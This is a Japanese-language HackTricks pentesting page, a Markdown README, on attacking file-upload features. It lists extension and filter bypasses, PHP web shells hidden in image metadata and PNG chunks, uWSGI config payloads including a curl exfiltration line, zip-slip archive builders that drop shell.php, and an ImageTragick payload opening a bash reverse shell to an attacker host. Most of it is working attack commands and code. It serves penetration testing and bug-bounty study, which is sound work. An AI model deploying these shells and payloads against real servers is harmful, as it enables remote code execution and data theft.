hacktricks/pentesting-web/file-upload/README.md

31 KiB
Raw Blame History

ファイルのアップロード

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

バグバウンティのヒント: Intigritiサインアップしてください。これは、ハッカーによって作成されたプレミアムなバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**の報奨金を獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

ファイルのアップロード一般的な方法論

他の便利な拡張子:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • PHPv8で動作: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

ファイル拡張子のチェックをバイパスする

  1. 適用される場合、前の拡張子をチェックします。大文字の文字も使用してテストします:pHp, .pHP5, .PhAr ...
  2. 実行拡張子の前に有効な拡張子を追加してチェックします(前の拡張子も使用します):
  • file.png.php
  • file.png.Php5
  1. 末尾に特殊文字を追加してみてください。Burpを使用してすべてのASCII文字とUnicode文字をブルートフォースすることができます。 以前に言及した拡張子も使用できます
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. 拡張子パーサーをトリックして、サーバーサイドでの保護をバイパスするために、拡張子を2重にするか、ジャンクデータ(ヌルバイト)を拡張子の間に追加するなどのテクニックを使用してみてください。 (以前の拡張子を使用して、より良いペイロードを準備することもできます。)
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. 前のチェックに別のレイヤーの拡張子を追加します:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 有効な拡張子の前に実行拡張子を配置し、サーバーが誤って構成されていることを期待します。 (拡張子が .php で終わらないが、.php で終わるものはすべてコードを実行するApacheの誤構成を悪用するのに役立ちます
  • file.php.png
  1. WindowsNTFS代替データストリームADSを使用します。この場合、禁止された拡張子の後ろにコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバーには禁止された拡張子の空のファイルが作成されます「file.asax:.jpg」。このファイルは、その後他のテクニックを使用して編集することもできます。たとえば、短いファイル名を使用することができます。 「::$data」パターンも空でないファイルを作成するために使用できます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つ場合があります「file.asp::$data.」)
  2. ファイル名の制限を破るようにしてみてください。有効な拡張子が切り詰められ、悪意のあるPHPが残ります。AAA<--SNIP-->AAA.php
# Linuxの最大255バイト
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7
```markdown
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# ペイロードを作成する
AAA<--SNIP 232 A-->AAA.php.png

Content-Type、Magic Number、Compression & Resizing のバイパス

  • Content-Type チェックをバイパスするには、Content-Type ヘッダーの image/pngtext/plainapplication/octet-stream に設定します。
  1. Content-Type ワードリスト: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
  • マジックナンバー チェックをバイパスするには、ファイルの先頭に 実際の画像のバイト を追加します(file コマンドを混乱させます)。または、シェルを メタデータ 内に導入します:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    または、画像に ペイロードを直接導入 することもできます:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • 画像に 圧縮が追加されている 場合、たとえば PHP-GD のようないくつかの標準的な PHP ライブラリを使用している場合、前述のテクニックは役に立ちません。ただし、PLTE チャンク ここで定義されたテクニック を使用して、圧縮を生き残るテキストを挿入することができます。
  • コードのあるGithub
  • ウェブページが 画像のリサイズ を行っている場合、たとえば PHP-GD の関数 imagecopyresized または imagecopyresampled を使用している場合、前述のテクニックは役に立ちません。ただし、IDAT チャンク ここで定義されたテクニック を使用して、圧縮を生き残るテキストを挿入することができます。
  • コードのあるGithub
  • 画像のリサイズを生き残る ペイロードを作成するための別のテクニックとして、PHP-GD 関数 thumbnailImage を使用することができます。ただし、tEXt チャンク ここで定義されたテクニック を使用して、圧縮を生き残るテキストを挿入することができます。
  • コードのあるGithub

その他のチェックトリック

  • アップロード済みのファイルの 名前を変更 する脆弱性を見つける。
  • ローカルファイルインクルージョン の脆弱性を見つけてバックドアを実行する。
  • 情報漏洩の可能性:
  1. 同じ名前同じファイル複数回(かつ 同時に)アップロードする。
  2. 既に存在するファイル または フォルダ名前 を持つファイルをアップロードする。
  3. 名前が “.”、“..”、“…” のファイルをアップロードする。たとえば、Apache の Windows では、アプリケーションがアップロードされたファイルを “/www/uploads/” ディレクトリに保存する場合、 “.” のファイル名は “/www/” ディレクトリに “uploads” という名前のファイルを作成します。
  4. NTFS での “…:.jpg” のように、簡単に削除できないファイルをアップロードする。 (Windows)
  5. 名前に |<>*?” のような 無効な文字 を含むファイルを Windows にアップロードする。 (Windows)
  6. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 のような 予約済み(禁止されている)名前 を使用して Windows にファイルをアップロードする。
  • 実行可能なファイル(.exeまたは疑わしくない.html ファイルをアップロードして、被害者が誤って開いたときにコードを実行することも試してみてください。

特殊な拡張子のトリック

PHP サーバー にファイルをアップロードしようとしている場合、コードを実行するための .htaccess のトリックを参照してください
ASP サーバー にファイルをアップロードしようとしている場合、コードを実行するための .config のトリックを参照してください

.phar ファイルは、Java の .jar のようなものですが、PHP 用であり、PHP と同様に使用することができますPHP で実行したり、スクリプト内でインクルードしたり...)。

.inc 拡張子は、ファイルを インポートするためだけに使用される PHP ファイルに使用されることがありますので、いずれかの時点で、この拡張子が実行されるように許可されている 可能性があります。

Jetty RCE

Jetty サーバーに XML ファイルをアップロードできる場合、新しい *.xml と *.war は自動的に処理 されるため、RCE を取得できます したがって、次の画像に示すように、XML ファイルを $JETTY_BASE/webapps/ にアップロードし、シェルを期待してください!

uWSGI RCE

uWSGI サーバーの .ini 設定ファイルを置き換えることができる場合、RCE を取得できます 実際には、uWSGI の設定ファイルには、特定の構文で定義された「マジック」変数、プレースホルダー、および演算子が含まれています。特に、'@' 演算子は、@(ファイル名) の形式でファイルの内容を含めるために使用されます。多くの uWSGI スキームがサポートされており、プロセスの標準出力から読み取るために便利な「exec」も含まれています。これらの演算子は、.ini 設定ファイルが解析されるときに、リモートコマンド実行または任意のファイルの書き込み/

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

設定ファイルが解析されると、ペイロード実行されます。設定が解析されるためには、プロセスを再起動する必要がありますクラッシュDoSまたはファイルが自動でリロードされる必要があります変更が見つかった場合にファイルをリロードする秒数を示すオプションが使用されている場合

重要な注意: uWSGIの設定ファイルの解析は寛容です。前述のペイロードはバイナリファイル画像、PDFなどの中に埋め込むことができます。

wgetファイルのアップロード/SSRFトリック

特定の場合に、サーバーが**wgetを使用してファイルをダウンロードし、URLを指定できることがあります。これらの場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあることを確認して、許可されたファイルのみがダウンロードされるようにします。ただし、このチェックは回避できます。
Linuxでの
ファイル名最大長さは255ですが、wgetはファイル名を236文字に切り詰めます。"A"*232+".php"+".gif"という名前のファイルをダウンロードすることができます。このファイル名はチェックをバイパスします(この例では".gif"有効な拡張子です)。ただし、wgetはファイルを"A"*232+".php"という名前にリネーム**します。

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

別のオプションとして考えられるのは、HTTPサーバーが別のファイルにリダイレクトするようにすることです。そのため、初期のURLはチェックをバイパスし、wgetは新しい名前でリダイレクトされたファイルをダウンロードします。これは、wgetがパラメータ--trust-server-namesとともに使用されている場合にのみ機能します。なぜなら、wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロードするからです。

その他のリソース

ツール

  • Upload Bypassは、ペンテスターやバグハンターがファイルのアップロードメカニズムをテストするのを支援するために設計された強力なツールです。さまざまなバグバウンティの技術を活用して、ウェブアプリケーションの評価を徹底的に行い、脆弱性を特定し、悪用するプロセスを簡素化します。

ファイルのアップロードから他の脆弱性へ

以下は、アップロードによって達成できる10のことのトップ10リストですリンクから):

  1. ASP / ASPX / PHP5 / PHP / PHP3Webシェル / RCE
  2. SVG格納型XSS / SSRF / XXE
  3. GIF格納型XSS / SSRF
  4. CSVCSVインジェクション
  5. XMLXXE
  6. AVILFI / SSRF
  7. HTML / JSHTMLインジェクション / XSS / オープンリダイレクト
  8. PNG / JPEGピクセルフラッド攻撃DoS
  9. ZIPLFI経由のRCE / DoS
  10. PDF / PPTXSSRF / BLIND XXE

Burp拡張機能

{% embed url="https://github.com/portswigger/upload-scanner" %}

マジックヘッダーバイト

  • PNG"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG"\xff\xd8\xff"

他のファイルタイプについては、https://en.wikipedia.org/wiki/List_of_file_signaturesを参照してください。

自動的に解凍されるZip/Tarファイルのアップロード

サーバー内で解凍されるZIPをアップロードできる場合、次の2つのことができます

シンボリックリンク

他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることで、リンクされたファイルにアクセスできます:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

異なるフォルダに解凍する

解凍されたファイルは予期しないフォルダに作成されます。

OSレベルのコマンド実行から悪意のあるファイルのアップロードを保護するために、この設定が有効であると簡単に思い込むことができますが、残念ながらこれは真実ではありません。ZIPアーカイブ形式は階層的な圧縮をサポートしており、さらに上位のディレクトリを参照することもできるため、対象アプリケーションの解凍機能を悪用することで安全なアップロードディレクトリから脱出することができます。

この種のファイルを作成するための自動化されたエクスプロイトは、こちらで見つけることができます: https://github.com/ptoomey3/evilarc

python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

あなたは、evilarcを使用したシンボリックリンクのトリックも利用することができます。もしフラグが/flag.txtにある場合は、そのファイルへのシンボリックリンクを作成し、システム内にそのファイルを作成しておくことで、evilarcを呼び出した際にエラーが発生しないようにします

悪意のあるzipファイルを作成するためのPythonコードの例:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

リモートコマンド実行を達成するために、以下の手順を実行しました:

  1. PHPシェルを作成します
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. 「ファイルスプレー」と呼ばれる手法を使用し、圧縮されたzipファイルを作成します。
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
  1. ヘックスエディタまたはviを使用して、「xxA」を「../」に変更します。私はviを使用しました
:set modifiable
:%s/xxA/..\//g
:x!

完了!

あと一つ手順が残っていますZIPファイルをアップロードし、アプリケーションに解凍させます成功すれば、ウェブサーバーに十分な権限があれば、システム上に簡単なOSコマンド実行シェルが存在します

b1

参考: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

ImageTragic

このコンテンツを画像拡張子付きでアップロードして、脆弱性を悪用してください (ImageMagick , 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNGにPHPシェルを埋め込む

IDATチャンクにウェブシェルを配置する主な理由は、リサイズや再サンプリング操作をバイパスできるためです。PHP-GDには、これを行うための2つの関数、imagecopyresizedimagecopyresampledが含まれています。

この投稿を読んでください:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

ポリグロットファイル

セキュリティの文脈でのポリグロットとは、複数の異なるファイル形式の有効な形式であるファイルのことを指します。例えば、GIFARはGIFファイルとRARファイルの両方です。また、GIFとJSの両方、PPTとJSの両方など、複数の形式であるファイルも存在します。

ポリグロットファイルは、ファイルタイプに基づく保護をバイパスするためによく使用されます。ユーザーが危険なファイルJSファイル、PHPファイル、Pharファイルなどをアップロードすることを防ぐために、ファイルのアップロードを許可するアプリケーションの多くは、JPEG、GIF、DOCなどの特定のタイプのアップロードのみを許可します。

これにより、複数の異なる形式の形式に準拠したファイルをアップロードできます。JPEGのように見えるが、実際にはPHARファイルPHp ARchiveであるファイルをアップロードすることができますが、有効な拡張子が必要であり、アップロード機能が許可しない場合は役に立ちません。

詳細はこちら:https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a


バグバウンティのヒント:ハッカーによって作成されたプレミアムなバグバウンティプラットフォームであるIntigritiサインアップしてください!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥